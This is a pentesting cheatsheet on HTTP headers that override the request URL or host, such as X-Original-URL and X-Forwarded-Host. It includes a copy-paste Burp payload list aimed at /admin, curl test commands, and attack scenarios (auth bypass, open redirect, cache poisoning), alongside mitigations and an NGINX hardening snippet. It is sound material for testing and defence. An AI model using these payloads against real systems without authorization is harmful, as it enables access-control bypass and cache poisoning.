URL overriding Headers

url_overriding_cheatsheet.md

URL Override & Forwarded Headers — Cheatsheet

Purpose: Quick reference for headers that can override or indicate original request URL/path/host/proto. Useful for VAPT, debugging reverse proxies, and hardening.

---

Common headers

• X-Original-URL — original path before rewrite (IIS, some middlewares)
• X-Rewrite-URL — original path used by IIS/mod_rewrite
• X-Forwarded-Uri — full original URI (NGINX Ingress, Traefik, HAProxy)
• X-Forwarded-Path — path portion forwarded by proxy/CDN
• X-Forwarded-Host — original Host header
• X-Forwarded-Proto — original scheme (http or https)
• Forwarded — standardized header (RFC 7239). Example: Forwarded: for=1.2.3.4;host=example.com;proto=https
• X-Forwarded-For — client IP chain
• X-Real-IP / X-Real-Host — common custom variants

Proxy / vendor specific

• X-Envoy-Original-Path / X-Envoy-Original-Url (Envoy)
• X-Original-Uri (Traefik, Istio)
• X-Request-Uri / X-Request-URL (Tomcat/legacy connectors)
• X-Rewrite-Path, X-Real-URL, X-Real-URI — custom NGINX or Lua modules

---

Why these matter (attacker POV)

• Path confusion / auth bypass: backend may trust a forwarded header to determine sensitive routes (e.g. /admin).
• Open redirect: building redirect URLs using X-Forwarded-Host or Forwarded can point users to attacker-controlled hosts.
• Cache poisoning: proxies caching responses keyed by host or URL may be poisoned if forwarded headers are trusted.
• SSRF / IP spoofing: X-Forwarded-For or Forwarded can be manipulated if the app trusts client-supplied IPs.

---

Testing checklist (quick)

Send baseline request and then repeat with each header below set to a sensitive path or host. Record changes in response (200, redirect, content differences).

Example payloads:

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Uri: /admin
X-Forwarded-Path: /admin
X-Envoy-Original-Path: /admin
X-Request-Uri: /admin
Forwarded: for=1.2.3.4;host=admin.example.com;proto=https
X-Forwarded-Host: admin.example.com
X-Forwarded-Proto: https

Steps:

1. Request without headers → note response (status, body, headers).
2. Request with header(s) → note differences.
3. Try combinations (Host + Path + Proto).
4. Test for cache poisoning by sending Host variants and subsequent requests from another client/agent.
5. Test preflight/OPTIONS if the app responds to CORS.

---

Burp Intruder / Scanner payload list (copy-paste)

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Original-Uri: /admin
X-Forwarded-Uri: /admin
X-Forwarded-Path: /admin
X-Envoy-Original-Path: /admin
X-Request-Uri: /admin
X-Request-URL: /admin
X-Forwarded-Host: admin.local
X-Forwarded-Proto: https
Forwarded: for=127.0.0.1;host=admin.local;proto=https
X-Original-Host: admin.local
X-Real-URL: /admin

---

Common dangerous patterns to look for

• Application uses header value to build filesystem path: fs.readFileSync('/var/www' + header)
• Redirects that use forwarded host/scheme: Location: ${proto}://${host}/... without validation
• Authorization decision based on req.ip when X-Forwarded-For is blindly trusted
• Caching/CDN keyed only by path but honoring X-Forwarded-Host

---

Mitigations (defensive)

• Drop untrusted headers at the edge (reverse proxy) unless explicitly required.

  • In NGINX: proxy_set_header X-Forwarded-Host ""; or override with $host.

• Use Forwarded header parsing libraries and validate values against allowlists.

• Set trust proxy appropriately in frameworks (Express: app.set('trust proxy', 'loopback')).

• Normalize and canonicalize incoming paths and hosts before making access decisions.

• Avoid building redirects from raw forwarded headers — canonicalize host and proto to known values.

• Separate cache keys by Host/Origin or add Vary: Origin when necessary.

• Perform server-side validation: ensure headers point to allowed hosts or known internal paths.

---

Example defensive NGINX snippet

# Remove incoming forwarded headers and set safe values
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
# Optional: unset original override headers
proxy_set_header X-Original-URL "";
proxy_set_header X-Rewrite-URL "";

---

Useful commands

• Inspect listening sockets and bindings:

  sudo ss -tulnp | grep LISTEN
  sudo netstat -tulnp | grep 8000

• Test header behavior with curl:

  curl -I -H "X-Original-URL: /admin" https://example.com/path
  curl -I -H "Forwarded: for=1.2.3.4;host=admin.local;proto=https" https://example.com/path

---

References & Further Reading

• RFC 7239 — Forwarded header: https://tools.ietf.org/html/rfc7239
• OWASP: HTTP Header Injection / Tampering
• Envoy docs: X-Envoy-Original-Path

---